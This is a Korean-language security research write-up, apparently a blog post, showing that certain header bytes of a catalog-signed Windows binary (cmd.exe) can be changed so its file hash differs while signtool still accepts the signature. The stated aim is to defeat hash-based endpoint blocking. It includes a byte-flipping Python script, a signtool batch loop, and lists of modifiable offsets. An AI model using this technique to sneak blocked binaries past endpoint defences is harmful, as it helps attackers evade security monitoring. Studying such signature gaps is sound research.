
서명된 Windows 바이너리를 변형하여 파일 해시를 변경하면서도 유효한 카탈로그 서명을 유지하게 함으로써, 해시 기반 엔드포인트 차단을 우회하고 Authenticode 검증의 허점을 노출합니다.
이 아이디어는 "regsvr32.exe"와 같이 알려진 "악성" 서명 애플리케이션을 차단하는 엔드포인트 솔루션을 우회하기 위한 것이었습니다. 유효한 서명된 파일을 다른 해시로 얻을 방법을 찾고 싶었습니다.
signtool verify /v /a cmd.exe 사용
C:\signcheck>signtool verify /a /v cmd.exe
Verifying: cmd.exe
File is signed in catalog: C:\windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-
00C04FC295EE}\Microsoft-Windows-Foundation-Package~31bf3856ad364e35~amd64~~6.1.7
601.17514.cat
Hash of file (sha1): 7EB22CBAA74B208DF433C70C06A99280036A52F3
Signing Certificate Chain:
Issued to: Microsoft Root Certificate Authority
Issued by: Microsoft Root Certificate Authority
Expires: Sun May 09 19:28:13 2021
SHA1 hash: CDD4EEAE6000AC7F40C3802C171E30148030C072
나는 출력(7EB22CBAA74B208DF433C70C06A99280036A52F3)을 보고 "Hash of file"이 cmd.exe의 SHA1이라고 생각했습니다.
추가 확인 결과 cmd.exe 파일의 SHA1은 다음과 같았습니다.
$ sha1sum.exe cmd.exe
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8 *cmd.exe
흥미롭게도 같은 파일인데 해시가 2개 다릅니다.
이 시점에서 서명이 파일의 모든 섹션을 포함하지 않을 수도 있다고 의심했습니다.
테스트 파일을 생성하기 위해 간단한 Python 스크립트를 작성했습니다.
import sys
orig = list(open(sys.argv[1], "rb").read())
i = 0
while i < len(orig):
current = list(orig)
current[i] = chr(ord(current[i]) ^ 0xde)
path = "%d.exe" % i
output = "".join(str(e) for e in current)
open(path, "wb").write(output)
i += 1
print "done"
그런 다음 python generate.py cmd.exe를 실행하여 300GB가 넘는 새 파일을 생성했습니다.
이제 생성한 각 파일이 서명 테스트를 통과하는지 검증해야 합니다.
간단한 배치 파일로 그렇게 할 수 있습니다.
FOR /L %%A IN (1,1,10000) DO (
signtool verify /v /a %%A.exe
)
330.exe 바이너리는 서명 검사를 통과했습니다. 이 경우 오프셋 330이 수정되었으므로 파일이 다릅니다.
C:\signcheck>signtool verify /a /v 330.exe
Verifying: 330.exe
File is signed in catalog: C:\windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-
00C04FC295EE}\Microsoft-Windows-Foundation-Package~31bf3856ad364e35~amd64~~6.1.7
601.17514.cat
Hash of file (sha1): 7EB22CBAA74B208DF433C70C06A99280036A52F3
$ sha1sum.exe 330.exe
4c05efb9d67291febe44f8c661db55a1ec06bc41 *330.exe
$ sha1sum cmd.exe
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8 *cmd.exe
다음 바이트는 서명을 깨지 않고 수정할 수 있습니다:
330, 331, 408 - 412
다음 바이트는 서명을 깨지 않고 수정할 수 있습니다:
320 - 323, 400 - 407
다음 바이트는 서명을 깨지 않고 수정할 수 있습니다:
216 - 219